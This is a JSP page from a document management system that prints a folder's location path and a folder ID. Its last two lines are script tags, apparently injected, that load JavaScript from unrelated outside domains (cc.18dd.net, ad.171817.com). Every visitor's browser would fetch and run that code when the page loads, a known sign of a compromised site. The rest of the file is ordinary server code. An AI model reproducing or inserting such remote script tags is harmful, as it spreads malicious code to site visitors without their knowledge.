<%
/*
 * @(#)EditScanDmsDocument.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditScanDmsDocument.jsp

  This class is reflecting business logic uses.

    @author           Rollo Chan
    @company          DCIVision Limited
    @creation date    06/08/2003
    @version          $Revision: 1.5.26.2 $
*/
%>

<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ page import="java.sql.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.dms.core.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="scanDmsDocumentForm" scope="request" class="com.dcivision.dms.web.ScanDmsDocumentForm"/>
<%try {
    final Integer rootID       = TextUtility.parseIntegerObj(scanDmsDocumentForm.getRootID());
    final Integer parentID     = TextUtility.parseIntegerObj(scanDmsDocumentForm.getParentID());
    //final String  documentName = scanDmsDocumentForm.getDocumentName();
    //final String fileName      = TextUtility.formatFileName(request.getParameter("trueFileName"));
    
    Connection conn =  (Connection)request.getAttribute(GlobalConstant.DB_KEY);
    DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer, conn);
    
    String location = docRetrievalManager.getLocationPath(parentID);
    
    out.println("Location at: \\"+location +","); 
    String createFolderParentID = (String)request.getAttribute("PARENT_FOLDER_ID");
    if(Utility.isEmpty(createFolderParentID)){
      out.println("CREATE_FOLDER_ID:"+"~"+",");
    }else{
      out.println("CREATE_FOLDER_ID:"+createFolderParentID+"~"+",");
    }
%>
<html:errors/>
<html:messages/>
<%}catch (Exception e) {
  LogFactory.getLog(this.getClass()).error(e, e);
  }%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>